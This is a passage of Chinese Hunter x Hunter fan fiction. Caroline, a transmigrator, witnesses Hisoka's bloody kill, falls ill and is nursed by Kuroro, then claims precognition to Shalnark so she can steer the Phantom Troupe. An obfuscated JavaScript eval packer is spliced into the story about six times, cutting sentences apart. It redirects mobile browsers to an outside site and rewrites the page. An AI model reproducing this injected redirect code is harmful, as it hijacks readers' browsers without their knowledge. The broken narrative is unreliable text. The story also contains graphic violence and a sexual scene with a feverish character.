卡洛琳没有刻意安排时间,她只是买了票,跟着人流走进去,找了一个不起眼的角落坐下。灯光很亮,观众席很吵,有人举着横幅,有人在吹口哨,空气中弥漫着爆米花和汗味混合的气味。 她不知道今天是谁的场次,她没查。 然后西索出来了。 卡洛琳怎么可能认不出那张脸,头发像一团燃烧的火,脸上画着一个小丑的星形和泪滴。西索走路的姿势是懒散的,甚至有些漫不经心,西索露出了一种卡洛琳在漫画里看了无数遍但此刻第一次觉得毛骨悚然的笑。 对面是一个卡洛琳不认识的选手。比西索壮一倍,脖子上青筋暴起,眼神凶狠。主持人报了两个名字,卡洛琳没有听清,也许是因为太紧张了的缘故。 西索就站在那里,看对面那个壮汉像一头牛一样冲过来。那个壮汉的拳头很大,握起来像一个小型的铁锤,手臂上的肌肉鼓胀着,青色的血管在皮肤下蜿蜒。他吼了一声,整个竞技场都在震。西索侧了一下身。 就一下…… 壮汉的拳头擦过西索的肋骨,打空了。他的身体因为惯性往前倾,重心移到了左脚上,右脚抬了起来,也许是想踢,也许是想收,但已经没有机会了。 卡洛琳根本没有看到西索是怎么出手的。太快了。比漫画里的速度线快一万倍。她的眼睛只捕捉到了一个结果:西索的右手不知道什么时候已经抬起来了,手指间夹着一张扑克牌。那张牌没入了壮汉的喉咙,一半在外面,一半在里面。血不是喷出来的,是淌出来的。一开始只是一条细线,沿着扑克牌的边缘往下流,流过壮汉的锁骨,渗进他黑色的短袖里,布料迅速洇开一片深色的边界模糊的湿痕。然后那个壮汉低头看了一眼自己的脖子,好像不明白发生了什么。他的手抬起来,想去摸那张牌。手指刚碰到牌的边缘,血突然像被拧开的水龙头一样涌了出来。一整股,从他喉咙的切口处喷出来,溅在竞技场白色的地面上,溅在那片被聚光灯照得刺目的光区里。壮汉的嘴巴张开似乎想喊叫,或者想呼吸,但喉咙已经被切开了一半,气流从伤口和嘴巴同时漏出来,发出一种卡洛琳从未听过的像漏气的气球一样的声音。他的膝盖先弯了。然后是腰。整个人像一座被从底部切断的塔,慢慢地、不情愿地塌下去。倒下的时候脸朝下,摔在地面上,发出沉闷的声响。血从他的脖子下面漫出来,以他的身体为中心向四周扩散,在灰色的地面上画出一个不规则的正在变大的圆。 西索低头看了一眼那具还在抽搐的身体,露出了明显的失望表情,好像杀了对方也只是浪费他的时间一样。 裁判宣布西索获胜后,西索就没有留恋地离开了。 卡洛琳旁边吃热狗的男人把最后一口塞进嘴里,含混地说了一句:“搞什么啊,这么快就完了,真不过瘾。能不能退票啊?” 喝啤酒的男人附和:“就是,好歹多打几下啊。” 有人在吹口哨。有人在鼓掌。有人站起来骂骂咧咧地不知道是赌输了还是看的不过瘾。 卡洛琳弯下腰,把脸埋进了膝盖上的呕吐袋里。胃在剧烈地翻涌,喉咙已经泛酸了,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523326|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有什么东西堵在食道和嘴巴之间,让她张不开嘴。她的身体在发抖,从手指尖一直抖到大腿,牙齿磕在塑料袋的边沿上,发出细微的咯咯的声音。 卡洛琳撑了大概五秒钟,然后胃酸涌了上来。呕吐物冲过食道、口腔,落在塑料袋里,发出黏腻的声响。空气中还弥漫着血腥味……卡洛琳吐了第二次,第三次,直到胃里什么都没有了,干呕了十几秒,眼泪和鼻涕一起流下来。 旁边的男人看了她一眼,露出一个混合着嫌弃和同情的表情,然后移开了目光。 果然,直接面对是根本不一样的。 她在看漫画的时候,对着这样的画面想的是什么?西索好帅。他舔嘴唇的样子好性感。他的小丑妆容好有辨识度。那些黑白的分镜,那些用线条勾勒出的血迹,那些被富坚老师用网点纸贴出来的阴影,它们不是真的,它们在纸上是安全的,是美的,是被艺术处理过的暴力。 卡洛琳甚至可以隔着屏幕吃薯片,喝可乐,翘着二郎腿,和弹幕一起刷“团长快跑”“西索好变态但我喜欢”。 但那是纸,那是墨,那是隔着屏幕和不存在的次元的安全距离。现在没有距离了。血是温热的。她看到了血溅出来的弧线,听到了那个人倒下时后脑勺撞击地面的闷响,闻到了铁锈一样的血腥味。那是活生生的人啊。而从活人到尸体,只需要一秒。 这就是猎人世界残酷的底色吗? 卡洛琳把呕吐袋封好,塞进包里,用纸巾擦了擦嘴。观众开始散场了,她跟着人流往外走。腿是软的,走得很慢,但她在走。 28. 大病一场 卡洛琳回去之后直接大病一场。 浑身疼,骨头缝里像被人塞了碎玻璃。嗓子肿得连水都咽不下去,每一次吞咽都像在吞刀片。体温计显示三十九度四,卡洛琳看了一眼,强撑着力气给辅导员发了消息请假,然后把手机扣在枕头旁边,闭上眼睛。不打算告诉库洛洛,不是什么大事,发烧而已,睡一觉就好了。 三天。烧了三天。卡洛琳不知道烧到了多少度,因为没有力气再看体温计了。床单湿了又干,干了又被汗浸湿。窗帘一直拉着,分不清白天黑夜。水杯在床头柜上,她够不到。手机没电了,屏幕是黑的。 第三天晚上,门开了。卡洛琳听到了,但她以为是梦。 冰袋贴上额头的时候她缩了一下,太凉了。一只手把冰袋按住,不让她躲。她在那只手贴上来的一瞬间就认出了他。不是梦。卡洛琳睁开眼睛,视线是模糊的,但足够她看到库洛洛的脸。 这是卡洛琳第一次见到库洛洛生气的表情。他的眉压得很低,眉头之间有深深的竖纹,嘴唇抿成一条线,下颌的肌肉绷得死紧。库洛洛的眼神不再是平时那种平静的沉稳的一切尽在掌握中的眼神,漆黑的双眼里仿若燃烧着连绵不绝的火焰。 “为什么不告诉我?”库洛洛的声音不高,但每一个字都像从牙缝里挤出来的,又硬又烫,“为什么不找我?” 卡洛琳的嘴巴张了一下,没有声音,因为嗓子完全哑了。 “你都烧成这样了,”库洛洛的声音开始抖了,但卡洛琳不确定是因为生气还是因为别的,“你都不打算告诉我?” 卡洛琳听的并不真切,她的耳朵像被塞了棉花,库洛洛的声音从很远很远的地方传过来,断断续续的,像收音机没调好频。 她只模糊地看到了库洛洛的表情,愤怒,恐惧,心疼,可能还有别的……她不知道。她的脑袋太烫了,没办法思考。她只是觉得好难受。嗓子疼,骨头疼,头也疼,浑身没有一处是不疼的,连呼吸都疼。 卡洛琳的手从被子里伸出来,无力地抓住了他的衣角又无力地松开垂下。 库洛洛的声音停住了。 卡洛琳从枕头上抬起头,动作很慢,因为她的脖子没有力气。她的眼睛是红的,眼眶里全是水,不知道是眼泪还是烧出来的生理性液体。她被烧糊涂了的脑子无法处理库洛洛的表情,但她处理了自己的感觉。很难过,很委屈,很不安。 卡洛琳哭了出来,她不知道哪来的力气挣扎着爬起,抱着库洛洛的脖子,把脸埋进他的肩窝,哭得浑身发抖。她的身体烫得像一块刚从火里取出来的铁,贴在库洛洛身上,把他冰凉的皮肤也捂热了。她的眼泪流进他的衣领。她也不知道自己在哭什么。 库洛洛抱着她,抱得很紧,紧到她的骨头都在咯吱作响。冰袋从她的额头上滑下来,掉在床上,没有人去捡。 再次醒来的时候,天花板是陌生的。 白色的,比公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523327|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寓的高,正中央有一盏日光灯,没开。窗帘是淡蓝色的,拉了一半,能看到外面的云。手背上有凉意,针头埋在皮肤下面,透明的管子连到床边的架子上,药水一滴一滴地往下坠。消毒水的味道。 是医院啊。 卡洛琳转过头,不出意料地看到了坐在床边的椅子上的库洛洛,手肘撑在膝盖上,十指交握,抵着嘴唇。 视线撞上了。库洛洛的眼睛下面是青灰色的,浅浅的黑眼圈。嘴唇是干的,下巴有淡淡的胡茬。库洛洛看了她两秒,站起来,走到床边,伸手探了探她的额头。 “好点了吗?”库洛洛的声音沙哑。他的手掌覆在她的额头上,凉凉的,干燥的。他测了很久,久到不像是在测体温。 “好点了。” 卡洛琳觉得自己应该难受。虽然好点了,但身体还是难受的,虚脱的。但她的心里有一个很小的很安静的角落,在看到库洛洛那张焦虑不安的脸的时候,忽然就平静了下来。 他在,他还在这里。他不会抛下她的,对吧? 卡洛琳的手指从被子里伸出来,碰了碰库洛洛的手背。库洛洛低头看了一眼,把她的手翻过来,掌心朝上,手指扣进她的指缝里。收紧,再收紧,把她的手指一根一根地扣进自己的指缝里,扣得很紧,紧到卡洛琳的骨头都感觉到了他的温度。 卡洛琳闭上了眼睛。她想,库洛洛最好了。她在心里说了一遍,又一遍,又一遍。像小时候一样。 29. 痴心愈烧 药水顺着透明的管子一滴一滴地往下坠。卡洛琳盯着那滴落的速度,觉得太慢了。身体还是滚烫的,意识也是迷迷糊糊的,卡洛琳的手从被子里伸出来,抓住了库洛洛的手腕,把他往自己的方向拉了一下。 库洛洛低头看着她,漆黑的双眼清晰地映着卡洛琳的样子。 烧还没退,她的脸是红的,眼睛是湿的,瞳孔里蒙着一层薄薄的水光。嘴唇干的起了皮,但唇缝之间透出来的颜色比平时深,像熟过头的果子。她的目光也比平时更滚烫。 “库洛洛。”卡洛琳的声音哑得几乎听不清,但嘴型足够了。 护士来拔针的时候,卡洛琳靠在库洛洛身上,脸埋在他的颈窝里,呼吸又热又急。 门关上了。卡洛琳难耐地扭动着,她的身体像一摊被太阳晒化了的糖浆,黏在库洛洛身上,每一个细胞都在说不要走,不要离开,不要松开。库洛洛把床头柜上的杯子拿起来,试了试水温,递到她嘴边。 “喝水。” 卡洛琳偏过头。嗓子疼。每咽一口水都像在吞碎玻璃,她不想喝,她现在渴望的明明是更灼热滚烫的东西。 库洛洛没有把杯子放回去,只是把杯子送到自己嘴边,喝了一口,然后用不容抗拒的力道捏住她的下巴,把她的脸转过来,低头吻了上去。 水从他的嘴唇渡到她的嘴唇,卡洛琳来不及反应,就被迫张开了嘴。温热的液体顺着她的舌面流进喉咙,她疼得皱了一下眉,但库洛洛的手没有松开。他渡得很慢,像在喂一个不听话的孩子吃药,一滴一滴地不容拒绝地把所有全部送进了她的嘴里。 卡洛琳呛得眼里泛起了一层更加朦胧的水雾,带着一种更加燃烧的渴望看着库洛洛。 “还要不要?”库洛洛的声音听起来平静,但那双眼睛里有一种暴风雨来临前那种压得很低的让人透不过气的沉。 卡洛琳吻上去的时候,库洛洛没有动。他的手垂在身体两侧,任由她的嘴唇贴着他的,她的手解开他衬衫的扣子,她的指尖从他的胸口一路滑到腰际。 卡洛琳没有等到库洛洛的回应,不由得停下来,抬起头看他。库洛洛的眼神里有一种正在努力克制着什么的东西。他的呼吸比平时重,胸口起伏的幅度比平时大,但他的身体是僵的,像一根绷得太紧的弦。 “生我的气了?”卡洛琳的声音哑哑的,像在撒娇又而不是在认错。 库洛洛的眼神彻底暗了下来。他的手指插进她的头发里,扣住了她的后脑勺。他的拇指按在她耳后的那块皮肤上,指腹慢慢地用力地摩挲着。库洛洛低下头,呼吸落在她的嘴唇上,又热又急。 “你烧到三十九度。”库洛洛的声音很低,像只是在陈述一个事实。 “库洛洛。”卡洛琳一边吻着库洛洛一边迷迷糊糊地从喉咙里溢出库洛洛的名字,她现在想做的只有一件事。 库洛洛闭了一下眼睛。再睁开的时候,那根弦断了。 后面的事情,卡洛琳记得不太清楚。她的记忆像一块被火烧过的布,只剩下一片一片的碎片。库洛洛把她从床边拉进怀里的时候动作很重。他的嘴唇落在她锁骨的力度让她倒吸了一口气,他在咬她,不是吻。牙齿陷进皮肤的触感尖锐而清晰,她本能地想躲,他的手扣着她的腰,不让她动。疼,但疼里面有一种奇怪的痛快,像把一块结了痂的伤口撕开,让血流出来。她的身体在发烫,分不清是烧还没退,还是别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523328|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的什么。 她的手指插进他的头发里,他的头发从她的指缝间滑过去,她攥不住他。她的腿缠上他的腰,把他拉向自己,他又一次俯下身来,鼻尖蹭着她的耳廓。 “知道自己错了吗?”库洛洛的声音贴着耳垂,气息滚烫,还带着一点真切的危险。 “嗯……知道。” “错在哪。” 卡洛琳的眼眶在发酸,是那种被逼到墙角无处可退的酸胀。她想说“不该不告诉你”,但声音卡在喉咙里出不来。难道库洛洛就什么都告诉自己了吗?他还不是什么都瞒着自己? 库洛洛没等到她的回答,手从她的腰间滑下去……卡洛琳弓起了腰,嗓子眼里挤出一个不成调的音节。库洛洛又开口了,声音还是不高不低,但那种危险的感觉更重了:“不说话?” “不该,不该不告诉你……”卡洛琳呜咽着开口,的声音碎成了几瓣,每一瓣都在发抖,滚烫的眼泪不断地从眼角滑落,看起来可怜极了。 “还有呢。” “还有……还有什么……”卡洛琳是真的觉得好委屈。 库洛洛的另一只手的手指按在她唇上,微微用力,制止了她的反问。 “想清楚了再说。” …… “对不起……对不起对不起对不起,以后不会了,到哪里都会告诉你的,生病了第一个找你……”卡洛琳再也受不了了,发泄一样抽抽搭搭地开口。 卡洛琳的手指攥住库洛洛的肩胛骨,指甲陷进去,像溺水的人抓住最后一块浮木。库洛吻着她。深的,重的,带着要把她拆吃入腹的力道。卡洛琳被吻得喘不上气,推了一下他的胸口,库洛洛反而吻得更深了。 30. 和侠客的会面 侠客推开甜品店的门时,一眼就看到了卡洛琳。她坐在靠窗的位置,面前摆着一杯已经喝了一半的奶茶,手里拿着小勺子,正在挖一份芒果班戟。看到侠客进来,卡洛琳抬手挥了挥,动作自然得像在招呼一个昨天刚见过的老朋友。 “侠客,这边。” 侠客笑着走过去,在卡洛琳对面坐下。他看着卡洛琳。卡洛琳注意到他的眼神里有打量,有好奇,还有一点点很隐蔽的警惕。 “说实话,”侠客的语气听起来很轻松,好像他们真的很熟悉一样,“你联系我的时候,我吓了一跳。” 卡洛琳笑了笑,总觉得下定了决心之后心态反而轻盈了不少:“是吗?” “嗯,我们很久没联系了。而且……”侠客顿了一下,似乎在斟酌措辞,“我以为你不会想跟我们扯上关系。” 卡洛琳没有接这句话。她舀了一口芒果班戟送进嘴里,慢慢地嚼着,像是在思考怎么开口。 “我知道你们在干什么,”卡洛琳的语气很平静,因为她一开始就知道了,只是现在才下定决心说出来,“成立了幻影旅团,对吧?” 侠客的笑容僵在了脸上。那一瞬间,他的眼神变成了是一种更纯粹的,可以称之为本能的震惊。手指下意识地在桌面上轻轻弹了一下,很快又压住了。 侠客的大脑在瞬间高速运转…… “卡洛琳,”侠客的声音还是轻松的,但那种轻松已经变成了一层很薄的壳,“你怎么知道的?” “没有人告诉我,”卡洛琳放下勺子,平静地看着侠客,甚至还有闲心想侠客刚刚是把自己当成危险人物吗?会杀了自己吗?“只是我有预知能力,最近才发现的。” 侠客没说什么,只是深深地凝视着卡洛琳,像在看一道复杂的谜题。金色的刘海垂下来遮住了一半的额头,眼睛快速地眨着,大脑在做高速的运转。 “预知?”侠客重复了一遍。 “对,”卡洛琳肯定地点点头,认真地叮嘱,“但是你不要追问。追问了就没有用了。” 著名侦探福尔摩斯曾经说过,排除所有可能性之后,剩下的不论多么不合常理,那就是真相……卡洛琳说的当然是谎言,她就是一个普通人,但侠客再聪明也不能猜到卡洛琳是穿越者这回事。 “预知系的念能力者吗……”侠客自言自语,声音很轻,像在跟自己确认。他的眉头微微皱了一下,然后又舒展开,“而且不能对其他人透露,否则能力就会失效。这样的制约确实很合理。” 卡洛琳在心里松了口气。 看,这就是聪明人的好处。你不需要把话说全,他们会自己把剩下的部分补上,补得比你想象的还要完整,还要严丝合缝。她只需要抛出“预知”这两个字,侠客就会自动脑补出念能力、制约、条件、限制,一套完整的自洽的不需要她再费口舌解释的逻辑框架。 她只需要说出一个无法被证伪的事实,然后闭嘴。侠客会替她完成剩下的工作。 “好吧,”侠客想了想,竖起一根手指,笑容回到了他的脸上,但那双绿色的眼睛里还是带着审视,“我的联系方式,只有旅团内部的人才知道。卡洛琳,你的预知能知道这种东西吗?” “不能。”卡洛琳坦率地摇了摇头。 “那你怎么——”侠客觉得自己的思考又被卡住了。 “我偷看的。” 侠客真愣住了,甚至在想自己是不是放弃思考比较好:“偷看?” “趁库洛洛没醒的时候,”卡洛琳坦率地开口,既然都联系侠客了,也没必要隐瞒和库洛洛的关系,“翻了他的手机。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523329|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侠客的大脑显然在这一刻经历了一次短暂的宕机。他的笑容凝固了,眼睛眨了两次,嘴唇微微张开又合上。他看起来像一台被输入了错误指令的电脑,在等待系统重启。 “诶?”侠客发出了一个很轻的,可以说是可爱的音节,“团长?库洛洛?” “嗯,”卡洛琳平静地抛出了让侠客都维持不住面部表情的话,“我和库洛洛在交往。” 侠客脸上的表情瞬间变得很复杂,震惊、困惑、好奇以及一种我需要重新整理一下这到底是怎么回事的茫然。 卡洛琳反倒拿起桌上的菜单,翻到甜品那一页,歪着头看了一会儿。 “侠客,你要不要吃点什么?这家的杨枝甘露还不错,不过我点的是奶茶,奶茶也还行,就是有点甜。” “……杨枝甘露吧。” “对了,”卡洛琳抬起头,像突然想起来什么似的,“你的念能力是操纵别人对吧?用手机天线插在对方身上。我记得好像叫……携带他人的命运?” “卡洛琳,”侠客叹了口气,到底是放下了警惕,毕竟卡洛琳要是真想对付旅团就没必要在他们面前暴露这些,“你到底知道多少?” “知道一些,”卡洛琳坦率地说,“但不会全部告诉你。不是不想,是不能。这也是能力的一部分。” “对了,也不要让派克看我的记忆。”卡洛琳想了想补充道,反正一旦说出口就不灵了,看了就没用了这种设定自己先抛出去再说。 “这你都知道啊,”侠客在接受设定之后倒是适应地很快,毕竟预知系的念能力虽然稀少但也不是没有,很快抛出了最重要的问题,“所以你今天找我来,是为了什么?” “因为我要帮助旅团。”卡洛琳一字一句地开口,毫不回避侠客的视线。 31. 隐瞒 杨枝甘露端上来之后,侠客就没有再说话。他吃得很慢,勺子每次只舀半勺,送进嘴里之后会停一下,像是在品尝什么需要仔细分辨的味道。 卡洛琳不知道他是在品味甜品还是在品味她刚才说的那些话,最有可能是两者都有。 “侠客。”卡洛琳放下勺子,估摸着侠客把事情理清的理清,脑补完的脑补完之后才开口。 “嗯?”侠客抬起头,嘴角还沾了一点芒果的黄色。 “别告诉库洛洛,”卡洛琳是真的很认真,“我说的这些,别告诉他。” 侠客把勺子放在碟子边沿,发出很轻的一声脆响。 “为什么?”侠客托着下巴问,其实卡洛琳在单独联系侠客的时候就默认不会让库洛洛知道了。 “因为他不想让我知道,”卡洛琳思索了一会后开口,“你们做的事情,旅团的事情,他什么都不告诉我。你告诉他了,他会觉得……我也说不清他会觉得什么,但库洛洛要是想告诉我早就说了。” 侠客靠回椅背,手指在桌面上轻轻敲了两下。他的表情没有太大的变化,但眼睛里有一种很微妙的光。 “卡洛琳,”侠客也在思索,虽然不是什么大事,但总觉得有种微妙的违和感,“库洛洛也没告诉我们哦。你和他的事情,你们在交往的事情,库洛洛从来没提过,一个字都没有。” 卡洛琳沉默了一会,她想起库洛洛在她面前的样子,温柔的,体贴的,会说“你开心就好”的完美男友。 她也想起库洛洛在别人面前的样子,那个她只在漫画里见过在流星街的时候几乎没有亲眼见过的样子。 “那别刺激他了。”卡洛琳的声音很轻,像在对自己说。 “刺激?”侠客歪了一下头,是真的挺困惑的。 “我总觉得他精神状态不太好。”卡洛琳说完这句话,自己都觉得有点荒诞。她怎么跟侠客解释?说她在漫画里看到过库洛洛后期的样子?说她隔着屏幕都能感觉到他的疲惫和紧绷?说她不知道为什么,但她不想让那种情况变得更糟? 库洛洛,真的很难理解啊。 侠客没有追问。他只是看了卡洛琳一眼,然后低下头,继续吃他的杨枝甘露。 “还有一件事,”卡洛琳在铺垫完自己的预知能力之后,最要紧的就是这件事,“侠客,千万不要为了火红眼去屠杀窟卢塔族,这件事之后会发生。侠客,不论用什么方法都要阻止这件事,这关系到整个旅团的生死,更多的我就不能说了。” 卡洛琳除了知道剧情之外真就是个连念都没开的普通人,而且她其实连窟卢塔族具体的位置在哪里都不知道,她又不是过目不忘的天才对所有漫画细节都一清二楚。而且就算她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523330|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道,难道凭空一番话就能让窟卢塔族的人相信她吗? 那么思来想去也就只有从源头入手了,幸好这个世界有妮翁这样天然就能预知的人,自己可以假装是同类型的念能力者。 侠客手里的勺子停在了半空中。脸上的表情从困惑变成了认真,又从认真变成了一种“你到底能看到多远”的审视。杨枝甘露从勺子的边缘慢慢滑落,滴回碗里,发出轻微的声响。 “卡洛琳——”侠客的表情看起来很凝重。 “我知道,”卡洛琳打断了侠客,语气不是不耐烦,是一种很平静的确定,“我知道你在想什么,因为只是我的一面之词,所以会心有疑虑是肯定的。但是我所说的对旅团只是可做可不做的小事,本着宁可信其有,不可信其无的想法,按照我说的做也没关系吧。再进一步,万一我给出的建议真的给旅团带来了不可挽回的损失,那你们杀了我也就是了。” 甜品店里很安静。邻桌有一对情侣在拍照,闪光灯闪了一下,白色的光掠过侠客的侧脸。他看着卡洛琳,看了很久。他只是把勺子从半空中收回来,放回碗里,然后拿起桌上的纸巾,慢慢地擦了擦嘴角。 “卡洛琳,”侠客的声音比他平时低了一些,也慢了一些,“杨枝甘露太甜了,下次点抹茶卷吧。” “好。”卡洛琳愣了一下,立刻笑着点头。 32. 决心 库洛洛在厨房里做饭。 卡洛琳窝在沙发上,腿缩进毯子里,双手捧着一个温热的马克杯,小口小口地喝着温水。她的目光穿过半开的厨房门,落在库洛洛的背影上。 库洛洛穿着白衬衫,袖子卷到手肘,正低着头切着洋葱。动作不快,但很稳,每一刀下去的声音都差不多。 完全看不出和在病床上那个逼着自己道歉的疯了一样的库洛洛是同一个人。 卡洛琳把杯口贴在嘴唇上,没有喝,温水的水汽模糊了她的视线。她想起那天晚上他握着她的手,手指扣进她的指缝里,扣得那么紧,好像她一松手就会碎掉。 现在他在切洋葱……卡洛琳小口小口地喝着温水,她好的差不多了,顶级的医疗资源只为了治疗发烧这种小病没理由好得不快。 库洛洛端着两份咖喱蛋包饭从厨房里出来,一份放在卡洛琳面前,一份放在自己那边。蛋皮是金黄色的,平整地裹在米饭上,用刀划开,蛋液会流下来裹住咖喱。他做得很漂亮。卡洛琳拿起勺子,还没伸出去,库洛洛就把她的那份端走了。 “等一下,先喝汤。” “我想喝冰牛奶。”卡洛琳的声音软软的,还带着一丝大病初愈的虚弱感。 “不行,”库洛洛把一碗温的蔬菜汤推到她面前,温和但坚决,“你病才好,喝热的。” 卡洛琳看了库洛洛一眼,端起汤碗喝了两口。是那种很清淡的汤,里面有包菜,胡萝卜,洋葱和南瓜,不难喝,但是太健康了。 库洛洛把蛋包饭重新放回她面前。卡洛琳吃了一口。咖喱是甜的,不是辣的那种,蛋皮很嫩。库洛洛看着她吃,自己没动。过了一会儿他干脆放下自己的勺子,绕到沙发这边坐下,把卡洛琳连人带毯子一起捞进怀里,让她靠着自己的胸口,然后舀了一勺蛋包饭,送到她嘴边。 卡洛琳调整到一个舒服的位置,眯起眼张嘴吃了。库洛洛喂得很慢,每一勺都吹一下,确认不烫了才送过来。勺子碰到她下唇的时候会停一下,等她张开嘴。卡洛琳靠在他怀里,嚼着饭,迷迷糊糊地想,这个人和在天空竞技场里根本不在乎观众性命的幻影旅团团长是同一个人吗? “库洛洛。” “嗯。” “为什么对我这么好?” 库洛洛的勺子停了一下。卡洛琳没有看他,目光落在茶几上那杯已经凉了的水上。 “我现在的生活,”卡洛琳的声音很轻,却带着一种沉重的质感,“全部都是你给的。你对我的好,多到我数不清。可是我呢?” 卡洛琳的手指在被子里下意识地蜷了一下。 “我对你帮不上一点忙。” “我真的可以这么幸福吗?”卡洛琳此刻居然和小麦在某些方面共情了。 库洛洛把勺子放回碗里,让卡洛琳转过来面对自己。他的手指托着她的下巴,很温柔的力道让卡洛琳抬起头。库洛洛漆黑的双眼明亮又干净,里面有卡洛琳小时候最喜欢的那种光,深色的瞳孔里还有她的脸,小小的,但很清楚。 “想什么呢?”库洛洛声音温柔又低沉,真诚地溢于言表,“因为你对我很重要,非常非常重要, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523331|203373||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且我答应过你,不会抛下你的。” 卡洛琳的眼泪毫无预兆地就掉了下来,没有声音,从眼角滑到下巴,库洛洛用拇指帮她擦了,又掉下来两行。 不是的,卡洛琳在心里说。 不是这样的。我只是因为知道你会变得很强才接近你的。不是因为你是你,是因为你会成为什么人…… 卡洛琳的眼泪越掉越多,库洛洛擦不过来了,干脆不擦了,把她按进自己怀里,下巴抵着她的头顶,手一下一下地拍着她的背。 “万一,”卡洛琳的声音闷在他胸口,湿湿热热的,“我当时真的死了怎么办?” 库洛洛整个人瞬间僵住了,他把卡洛琳从怀里拉出来,双手捧着她的脸,拇指按在她的颧骨上。卡洛琳觉得他的瞳孔里有什么东西在碎掉,又有什么东西在那些碎片里重新长起来。 “不行,不可以,”库洛洛的手很稳,但他的声音在发抖,“我不会抛下你,你怎么可以抛下我?我不允许这种事情发生。” 库洛洛把卡洛琳抱得很紧,紧到她的肋骨都感觉到了库洛洛的心跳快地异常。快得像那天晚上他们在沙发上接吻的时候。 卡洛琳把脸埋在他的衬衫里,眼泪蹭在白色的棉布上,晕开一小片深色的印子。她闭上了眼睛。库洛洛的心跳在她耳边,一下一下的,又急又重,像在敲一扇门。 她不知道自己有没有资格走进那扇门,但此时此刻,她已经下定了决心。 绝不能看着库洛洛像原著那样失去同伴,库洛洛对自己这么好,自己一定要有所回报。 33. 侠客,你好变态! 侠客不对劲。 玛奇说不上来哪里不对。他笑的方式和平时一样,说话的语气和平时一样,分析情报也是一如既往地精准。但玛奇就是直觉不对劲,像有一个很小的铃铛,挂在她意识的最深处,平时不响,一旦响了就不会停。 而玛奇的直觉一向很准,有时团长都会参考她的直觉。 她说不上来哪里不对,但她的身体替她做了决定。等她反应过来的时候,她已经站在了这扇门前。 玛奇没有敲门,直觉告诉她不要敲。 侠客坐在电脑桌前,听到动静,猛地转过身来。他的动作太快了,快到他平时引以为傲的那颗冷静的精于计算的永远比别人快一步的大脑,在这一刻彻底掉了线。椅子滑出去半米,膝盖撞到桌腿,他手忙脚乱地伸向鼠标——但已经来不及了。屏幕亮着,画面还在动。 屏幕上的画面没有消失。一男一女,在床上。男的侧躺着,一只手撑着头,另一只手放在女的腰上。两个人都没有穿衣服。男的背脊的线条从肩膀一路滑到腰际,女的头发散在枕头上,遮住了半张脸。 是库洛洛!? 侠客的脸从红变成了一种更深更浓的接近紫色的颜色,蔓延到耳根和脖子。 “玛奇,”侠客捂着脸,声音高得不正常,“不是,你怎么来了?” 